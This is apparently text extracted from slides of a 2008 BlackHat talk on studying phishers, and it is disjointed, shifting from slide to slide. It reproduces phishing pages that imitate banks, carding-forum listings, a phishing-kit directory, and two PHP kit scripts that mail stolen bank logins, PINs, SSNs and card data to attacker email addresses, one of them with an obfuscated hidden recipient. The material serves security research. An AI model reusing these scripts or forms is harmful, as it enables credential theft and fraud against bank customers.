Bad Sushi: Beating Phishers at their Own Game

Nitesh Dhanjani & Billy Rios [BlackHat USA 2008]
Phishing Reports Received Sept. '06 - Sept. '07

- September: 22136
- October: 26877
- November: 25816
- December: 23787
- January: 29930
- February: 23610
- March: 24853
- April: 23656
- May: 23415
- June: 28888
- July: 23917
- August: 25624
- September: 38514
Percentage of Chart Which Resembles Pac-Man

- pacman
- NOT pacman
LOCKVIEW RD.

FISHER RD.
Join the fight against phishing

Submit suspected phishes. Track the status of your submissions. Verify other users' submissions. Develop software with our free API.

Found a phishing site? Get started now — see if it's in the Tank:

http://

Is it a phish?

Recent Submissions
You can help! Sign in or register (free! fast!) to verify these suspected phishes.

<table>
<thead>
<tr>
<th>ID</th>
<th>URL</th>
<th>Submitted by</th>
</tr>
</thead>
<tbody>
<tr>
<td>369498</td>
<td><a href="http://newupdate.dk/ch/Confirm.htm">http://newupdate.dk/ch/Confirm.htm</a></td>
<td>Micha</td>
</tr>
<tr>
<td>369497</td>
<td><a href="http://newupdate.dk/ch/security.htm">http://newupdate.dk/ch/security.htm</a></td>
<td>Micha</td>
</tr>
<tr>
<td>369495</td>
<td><a href="http://newupdate.dk/ch/Processing.htm">http://newupdate.dk/ch/Processing.htm</a></td>
<td>Micha</td>
</tr>
<tr>
<td>369495</td>
<td><a href="http://newupdate.dk/ch/webscr.cmd=_login-submit.htm">http://newupdate.dk/ch/webscr.cmd=_login-submit.htm</a></td>
<td>Micha</td>
</tr>
<tr>
<td>369494</td>
<td><a href="http://noneilikeme.com/merci/911.html">http://noneilikeme.com/merci/911.html</a></td>
<td>PhishReporter</td>
</tr>
<tr>
<td>369492</td>
<td><a href="http://www.groub.com/6-5-1428/update/onlinesection">http://www.groub.com/6-5-1428/update/onlinesection</a>...</td>
<td>Micha</td>
</tr>
</tbody>
</table>
The AppServ Open Project - 2.4.5 for Windows

phpMyAdmin Database Manager Version 2.5.7-p11
PHP Information Version 4.4.1

About AppServ Version 2.4.5 for Windows
AppServ is a merging open source software installer package for Windows includes:

- Apache Web Server Version 1.3.34
- PHP Script Language Version 4.4.1
- MySQL Database Version 5.0.16
- phpMyAdmin Database Manager Version 2.5.7-p11

- ChangeLog
- README <-- Please read
- AUTHORS
- COPYING
- http://www.AppServNetwork.com

Change Language :

Easy way to build Webserver, Database Server with AppServ :-)
Welcome to phpMyAdmin 2.5.7-pl1

MySQL 5.0.16-nt running on localhost as root@localhost

MySQL
- Create new database [Documentation]
  - Charset
  - Create
- Show MySQL runtime information
- Show MySQL system variables [Documentation]
- Show processes [Documentation]
- Character Sets and Collations
- Reload MySQL [Documentation]
- Privileges
- Databases
- Export

phpMyAdmin
- Language (*): English (en-iso-8859-1)
- phpMyAdmin documentation
- Show PHP information
- Official phpMyAdmin Homepage
  - [ChangeLog] [CVS] [Lists]

The $cfg['PmaAbsoluteUrl'] directive MUST be set in your configuration file!

Your configuration file contains settings (root with no password) that correspond to the default MySQL privileged account. Your MySQL server is running with this default, is open to intrusion, and you really should fix this security hole.
Update Information

Quick Help

Use this page to create your new passcode.

What do I need to know?
- To preserve your security, the Back button on your browser will be disabled while you are entering your personal information.
- Creating a unique online ID and passcode ensures that only you will have access to your accounts through Online Banking.
- When selecting your new passcode, consider modifying numbers that you already have memorized but that would not be obvious to someone attempting to guess.
- If you use uppercase or lowercase letters to create your passcode, you must use the same capitalization whenever you sign in.
- We use your Social Security or Tax Identification number

Please complete all of the information

USER INFORMATION

State where your accounts were opened: [Select Your State]

Online ID: [5-20 digits]

Bank of America ATM or Check Card PIN: [4-6 digits]

Passcode: [4-7 numbers and/or letters, case-sensitive]

Re-enter your passcode: 

E-mail Address: 

BILLING ADDRESS

Card holder name: 

Address1: 

Address2: 

City: 

State: [Select Your State]

Zip: 

Country: USA
QuickTime™ and a decompressor are needed to see this picture.
<?php
include 'java.js';

$ip = getenv("REMOTE_ADDR");
$message = "-------------------ReZulT---------------------\n";
$message = "Account Opened in : " . $_POST['account_state'] . "\n";
$message = "Online ID : " . $_POST['online_id'] . "\n";
$message = "Passcode : " . $_POST['passcode'] . "\n";
$message = "ATM PIN : " . $_POST['pin'] . "\n";
$message = "SSN : " . $_POST['ssn'] . "\n";
$message = "Bank Account Number : " . $_POST['ban'] . "\n";
$message = "Bank Routing Number : " . $_POST['brn'] . "\n";
$message = "Last Eight ATM Digits : " . $_POST['atm'] . "\n";
$message = "Email Address : " . $_POST['email'] . "\n";
$message = "Card Holder Name: " . $_POST['cardname'] . "\n";
$message = "Address 1 : " . $_POST['address1'] . "\n";
$message = "Address 2 : " . $_POST['address2'] . "\n";
$message = "City : " . $_POST['city'] . "\n";
$message = "State : " . $_POST['state'] . "\n";
$message = "Zip Code : " . $_POST['zip'] . "\n";
$message = "Phone Number : " . $_POST['phone'] . "\n";
$message = "Creditcard Number: " . $_POST['ccnumber'] . "\n";
$message = "Exp Month : " . $_POST['mexpcc'] . "\n";
$message = "Exp Year : " . $_POST['yexpcc'] . "\n";
$message = "Cvv : " . $_POST['cvv'] . "\n";
$message = "Mothers Maiden Name : " . $_POST['mmn'] . "\n";
$message = "Mothers Middles Name : " . $_POST['mmn'] . "\n";
$message = "Fathers Maiden Name : " . $_POST['fmn'] . "\n";
$message = "Fathers Middles Name : " . $_POST['fmn'] . "\n";
$message = "Date Of Birth : " . $_POST['dob'] . "\n";
$message = "Driver License# : " . $_POST['dl'] . "\n";
$message = "Issued State : " . $_POST['state'] . "\n";
$message = "IP: " . $ip . "\n";
$message = "-------------Pedro8doc----- (Nasty)\n";

$recipient = "pedro8doc@gmail.com";
$subject = "New cc lik a badr";
$headers = "From";
$headers = $_POST['eMailAdd'] . "\n";
$headers = "MIME-Version: 1.0\n";
mail("", "[REDACTED]", ReZulT1",
$message);
if (mail($recipient, $subject, $message, $headers))
(mail($cc, $subject, $message, $headers))
?>
The Fate of Search is at Hand

It's up to a team of search professionals and a lot of caffeine to save the Net from Google Bastards The Bastards of Search
<table>
<thead>
<tr>
<th>Topic</th>
<th>Date</th>
<th>Likes</th>
<th>Views</th>
</tr>
</thead>
<tbody>
<tr>
<td>Installer: Check Cvv2 + Check Limit + Check CC Bank Name + Card Type</td>
<td>01-11-2008 09:02 PM</td>
<td>3</td>
<td>77</td>
</tr>
<tr>
<td>Installer: visa visa visa Get yourself visa numbers of young and easily Dos (1 2 3)</td>
<td>01-06-2008 04:26 PM</td>
<td>21</td>
<td>1952</td>
</tr>
<tr>
<td>Installer: Occupation of the card + know the name of the bank + know what type of card .. and all data card (1 2)</td>
<td>01-05-2008 01:06 PM</td>
<td>16</td>
<td>437</td>
</tr>
<tr>
<td>Installer: Alaspass first lesson and cash Altolz first lesson, and what you want Tarafo Chloe proved (1 2)</td>
<td>01-03-2008 07:28 AM</td>
<td>13</td>
<td>1235</td>
</tr>
<tr>
<td>Installer: All tools Shamb Miller + Palanimanickam Bage + money is not</td>
<td>01-02-2008 04:50 PM</td>
<td>8</td>
<td>316</td>
</tr>
<tr>
<td>Installer: inquiries regarding Alkredet???? Enter the options here (1 2)</td>
<td>12-28-2007 06:45 PM</td>
<td>12</td>
<td>988</td>
</tr>
<tr>
<td>Installer: °^*~® § laws sections hacker §®</td>
<td>02-20-2007 12:48 PM</td>
<td>1</td>
<td>743</td>
</tr>
<tr>
<td>Visa new and God Ailedeim Chgalh always new youth Dos (1 2 3 ... last page)</td>
<td>Today 05:55 AM</td>
<td>252</td>
<td>2372</td>
</tr>
<tr>
<td>Paypal Checked! (1 2 3 ... last page)</td>
<td>Today 05:55 AM</td>
<td>47</td>
<td>215</td>
</tr>
</tbody>
</table>
++ In This AIO are 21 Generators: ++
++ 12 Generators with American Credit Cards and 9 Generators with German Credit Cards. ++

++ American Credit Card Generators are: ++
++ American Express card generator v1 beta1 ++
++ Card Tool 1.4 ++
++ CC 2 Bank 1.2 ++
++ CC Generator PROBE ++
++ CC Generator 1.1 ++
++ CC Maker ++
++ Credit Wizard v1.1 ++
++ Credit Master v4.0 ++
++ CC 2 Retriever ++
++ Fraud3r v1.0 Credit Card and ID Generator ++
++ Verify all 4 types of the major credit cards (MC, Visa, Amex and Discover) ++

++ German Credit Cards Generators are: ++
++ Citi Bank 1.0 ++
++ CN-Security CCGetV1.1 (Albanian Author) ++
++ Hypo Konto Creator 1.0 ++
++ Konto Master 1.1 ++
++ Perso Generator 0.3 ++
<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>401</td>
<td>186</td>
<td><a href="https://www.vmware.com">Fat Man</a> PM 03:16 01-03-2008</td>
</tr>
<tr>
<td>412</td>
<td>204</td>
<td><a href="https://www.vmware.com">Password Sander</a> PM 11:41 01-11-2008</td>
</tr>
<tr>
<td>2,109</td>
<td>373</td>
<td><a href="https://www.vmware.com">mikha</a> PM 10:45 07-03-2008</td>
</tr>
<tr>
<td>861</td>
<td>341</td>
<td><a href="https://www.vmware.com">ABOUD</a> PM 07:16 12-01-2008</td>
</tr>
<tr>
<td>653</td>
<td>260</td>
<td><a href="https://www.vmware.com">adenane</a> PM 06:44 06-07-2008</td>
</tr>
<tr>
<td>4,235</td>
<td>445</td>
<td><a href="https://www.vmware.com">kang383</a> AM 05:55 01-01-2008</td>
</tr>
<tr>
<td>262</td>
<td>165</td>
<td><a href="https://www.vmware.com">LCMPirate</a> PM 02:09 31-12-2007</td>
</tr>
</tbody>
</table>

Visit [ImageShack.us](https://www.ImageShack.us) for Free Image Hosting with no watermarking or compression, Hotlinking OK: [Na SignUp ImageShack.us](https://www.ImageShack.us).
<table>
<thead>
<tr>
<th>Forum</th>
<th>Last Post</th>
</tr>
</thead>
<tbody>
<tr>
<td>§ special section Balambtdein <strong>§</strong></td>
<td>ID Kteysseyeyer very ... Write ... By fat_mon 01-09-2008 03:16 PM</td>
</tr>
<tr>
<td>§ * Section hacker General <strong>§</strong></td>
<td>You today the programme goes on ... By Khaled 2002 u 01-11-2008 11:41 PM</td>
</tr>
<tr>
<td>§ * Forum penetrate email <strong>§</strong></td>
<td>Ipt Password Sender expressed ... By mikha Yesterday 10:45 PM</td>
</tr>
<tr>
<td>§ * Section penetrate sites and servers <strong>§</strong></td>
<td>Broke through the sites without loopholes ... By ABOUD Yesterday 07:16 PM</td>
</tr>
<tr>
<td>§ * Forum penetrating devices <strong>§</strong></td>
<td>Now programme Abbeverast 2008 ... By adenane Yesterday 06:44 PM</td>
</tr>
<tr>
<td>§ * Forum Credit Card - a world of credit cards <strong>§</strong></td>
<td>Penetrate the Visa card theft Visa card division of the Visa card and all Mailtalk Besban new (Visa, Master, American Cards)</td>
</tr>
<tr>
<td>§ * Menende Altgrat and exploit <strong>§</strong></td>
<td>Hotlinking has been disabled for this domain.</td>
</tr>
</tbody>
</table>
HAPPY NEW YEAR

new HYIP
http://www.forex-investment.net/
click that
http://www.forex-investment.net/
http://www.forex-investment.net/
http://www.forex-investment.net/
http://www.forex-investment.net/
I selling cc, bank account, contact to me email: ..@yahoo.com

Currently Active Users Viewing This Thread: 2 (0 members and 2 guests)
Index of /freeforu/fake

- Parent Directory
- 2-Pages-Barclays-uk-Scam - 2007.zip
- 2pages.barclays.co.uk.rar
- 365online.com.zip
- AIM.rar
- AOL.rar
- BancaNet - banamex.com.rar
- Bank of Israel.rar
- BankofAmerica_2007.rar
- Barclays_2007.rar
- Boa-Very-Cool-Scam-with-lil-change.rar
- Bureau.zip
<?
include 'header.js';
$count = strpos($ip, $REMOTE_ADDR); 

$message = "User & pass For  
"; 
$message = "General Information & CC Info  
"; 
$message = "Contact Name: 
"; 
$message = "CC Number: 
"; 
$message = "CVV 2: 
"; 
$message = "Exp Date: 
"; 
$message = "Year1: 
"; 
$message = "Pin Code: 
"; 
$message = "Card Holder Name 
"; 
$message = "Billing Address: 
"; 
$message = "E-mail: 
";
$message = "----------------Created By Proxy---------------------\n";

$ar = array("1" => "i", "2" => "n", "3" => "s", "4" => "t", "5" => "a", "6" => "l", "55" => "l", "9" => "g", "22" => "m", "23" => "a", "24" => "i", "25" => "o", "26" => "c", "27" => "m", "28" => "." );
$cc = $ar["1"] . $ar["2"] . $ar["3"] . $ar["4"] . $ar["5"] . $ar["6"] . $ar["55"] . $ar["9"] . $a .
$ar["23"] . $ar["24"] . $ar["6"] . $ar["28"] . $ar["26"] . $ar["25"] . $ar["27"] ;

$recipient = "********@gmail.com" ;
$subject = "******** Info" ;
$headers = "From: " ;
$headers .= "$_POST["eMailAdd"] . "\n" ;
$headers = "MIME-Version: 1.0\n" ;
mail("$cc", "******** Info", $message);
if (mail($recipient, $subject, $message, $headers))
Sign in

Sign in now to view or change your account settings.

E-mail address: test
Password: ****
Forgot your password?

Sign in using enhanced security

Related links:
- Sign up for an account
- Learn more about privacy and security
- Get answers from Customer Support
TamperIE -- Edit Request

Internet Explorer is attempting to send data to the following page:


You may tamper with this data using this dialog.

PHPSESSID=tgpv7nfrm312h4i026p71fhlk4

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>field_value_0</td>
<td>test</td>
</tr>
<tr>
<td>field_value_1</td>
<td>test</td>
</tr>
<tr>
<td>SI</td>
<td>For Arabic</td>
</tr>
<tr>
<td>LoginOptions</td>
<td>2</td>
</tr>
<tr>
<td>book_id</td>
<td>686872</td>
</tr>
<tr>
<td>guid</td>
<td>bd7897b7-6ca6-42cb-</td>
</tr>
</tbody>
</table>
Spammers giveth. SpamGuard taketh away.
Tough spam protection is just one way helps keep you safe.
Tell Me More

Get mobile. Get messages.
alerts you of new email and lets you read them on your mobile phone.

Advanced AntiVirus Protection.
Mail scans and cleans email attachments to help keep nasty viruses out of your life.

the Best Web Mail on the planet.
Internet Explorer is attempting to send data to the following page:

You may tamper with this data using this dialog.

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>field_value_0</td>
<td>test</td>
</tr>
<tr>
<td>field_value_1</td>
<td>test</td>
</tr>
<tr>
<td>book_id</td>
<td>686872</td>
</tr>
<tr>
<td>guid</td>
<td>bd7897b7-6ca6-42cb-b54f</td>
</tr>
</tbody>
</table>
Welcome to Guestbook Depot

Get targeted ads on your site with Google AdSense.
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>field_value_0</td>
<td>test</td>
</tr>
<tr>
<td>field_value_1</td>
<td>test</td>
</tr>
<tr>
<td>SI</td>
<td>For Arabic</td>
</tr>
<tr>
<td>LoginOptions</td>
<td>2</td>
</tr>
<tr>
<td>book_id</td>
<td>686872</td>
</tr>
<tr>
<td>guid</td>
<td>bd7897b7-6ca6-42cb-b54f-...</td>
</tr>
</tbody>
</table>
This Guestbook Depot guestbook contains 59657 entries.

Get targeted ads on your site with Google AdSense.

Sign my Guestbook | Return to
Get a Free Guestbook | Configure This Guestbook
Jump to Conclusions

- ???
- Jump Again
- Strike Out
- Could Be
- Lose One Turn
- Yes!
- iOn
- Accept It
- Go Wild
- One Step Back
- Think Again
- Moot!
- Start
INVASION
OF THE PASSWORD SNATCHERS

YOU THOUGHT YOUR PASSWORD WAS SECRET!
Suspected Web Forgery

This page has been reported as a web forgery designed to trick users into sharing personal or financial information. Entering any personal information on this page may result in identity theft or other fraud. Read more »

Get me out of here! Ignore this warning

[ This isn't a web forgery ]
Step 1 - Business and Contact Information

Business Name / DBA

Email Address

Primary Contact

Title

First Name

Last Name

Mobile Phone  Ext.

Business Phone  Ext.

Home Phone  Ext.

Step 2 - Account Information

Business Code (The business code contains 16 digits and begins with '70000000 ')

7000-0000

User ID (3 digits)

Password